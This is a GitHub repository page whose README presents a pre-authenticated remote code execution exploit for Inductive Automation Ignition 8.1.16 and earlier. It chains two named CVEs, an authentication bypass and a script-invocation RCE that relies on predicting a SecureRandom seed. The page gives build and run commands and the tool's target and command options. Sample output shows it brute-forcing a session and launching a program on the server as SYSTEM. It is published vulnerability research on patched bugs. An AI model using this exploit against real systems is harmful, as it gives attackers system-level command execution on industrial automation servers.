

A pre-authenticated RCE exploit for Inductive Automation Ignition

GPL-3.0 license

36 stars 8 forks

Star

Notifications

<> Code

Issues 1

Pull requests

Actions

Projects

Security

...

main

Go to file



stevenseeley updated to add RCE cve ...

on Jul 18 18

[View code](#)

☰ README.md

Randy

What

This is a pre-authenticated RCE exploit for Inductive Automation Ignition that impacts versions $\leq 8.1.16$. We failed to exploit the bugs at Pwn2Own Miami 2022 because we had a sloppy exploit and no debug environment, but since then we have found the time and energy to improve it!

Authors

Chris Anastasio and Steven Seeley (mr_me) of Incite Team

Build

1. Build with `mvn clean compile assembly:single -DskipTests`

Tested

The exploit was tested against [8.1.16](#) using the Windows 64-bit Installer which you can [download here](#) (SHA1: f135d32228793c73c4cdd88561cddb44b19290c) but it has known to work against other older versions as well.

Notes

- At the time of release, no CVE's were assigned to the bugs
- This exploit takes advantage of two vulnerabilities that have been [patched](#):
 - [CVE-2022-35890 - GatewaySessionManagerImpl Authentication Bypass](#)
 - [CVE-2022-36126 - ScriptInvoke Remote Code Execution](#)
- The exploit requires an admin user to be logged into the gateway. During testing it was found that sessions live forever unless a user explicitly logs out.
- The exploit should be ran from a Windows host (due to the `SecureRandom` seed prediction attack).
- The exploit targets Ignition deployed under Windows, since `SecureRandom` is not so secure under that environment.
- The exploit was tested with Java v11.0.11.

Run

Run the exploit with `java -cp target/andy-0.0.1-SNAPSHOT.jar com.srcincite.ia.exploit.Poc`

Example

```
Command Prompt - .\poc.bat -t 192.168.184.1 -c mspaint -d 2

C:\Users\researcher\eclipse-workspace\exploit>java -version
java version "11.0.11" 2021-04-20 LTS
Java(TM) SE Runtime Environment 18.9 (build 11.0.11+9-LTS-194)
Java HotSpot(TM) 64-Bit Server VM 18.9 (build 11.0.11+9-LTS-194, mixed mode)

C:\Users\researcher\eclipse-workspace\exploit>.\poc.bat

  _ _ _ _ _
 /_/_/_/_/_
/_/_/_/_/_
/_/_/_/_/_

A Inductive Automation Ignition <= 8.1.16 RCE Exploit
By Chris Anastasio & Steven Seeley (mr_me) of Incite Team

Missing required options: t, c
usage: Poc
-c,--cmd <arg>      The command to run
-d,--delay <arg>    The brute force delay timeout [default is 1 second]
-t,--target <arg>   The target ip and port <ip:port>

C:\Users\researcher\eclipse-workspace\exploit>.\poc.bat -t 192.168.184.1 -c mspaint -d 2

  _ _ _ _ _
 /_/_/_/_/_
/_/_/_/_/_
/_/_/_/_/_

A Inductive Automation Ignition <= 8.1.16 RCE Exploit
By Chris Anastasio & Steven Seeley (mr_me) of Incite Team

(+) targeting: 192.168.184.1:8088 w/ timeout: 2s
(+) starting seed: 1657730646000
(+) leaked version: 73781562
(+) found seed 1657730648717 w/ session 9D7E2FC4C7A6D7121DB7553651F3BA45
(+) triggering cmd mspaint
```

Process	CPU	Private Bytes	Working Set	PID	Integrity	Description
IgnitionGateway.exe	< 0.01	3,416 K	12,636 K	8328	System	Java Service Wrapper Stand...
conhost.exe	< 0.01	6,688 K	13,780 K	3592	System	Console Window Host
java.exe	0.28	1,848,532 K	1,860,056 K	11016	System	Zulu Platform x64 Architecture
cmd.exe		2,284 K	4,660 K	24072	System	Windows Command Processo...
mspaint.exe	< 0.01	7,888 K	24,776 K	19820	System	Paint
svchost.exe		3,012 K	12,896 K	14372	System	Host Process for Windows Se...
wsllhost.exe						

CPU Usage: 2.61% | Commit Charge: 44.13% | Processes: 328

Releases

No releases published

Packages

No packages published

Contributors 2



stevenseeley (mr_me) of 360 Vulnerability Research Institute



sourceincite Source Incite

Languages

● **Java** 99.4% ● **Batchfile** 0.6%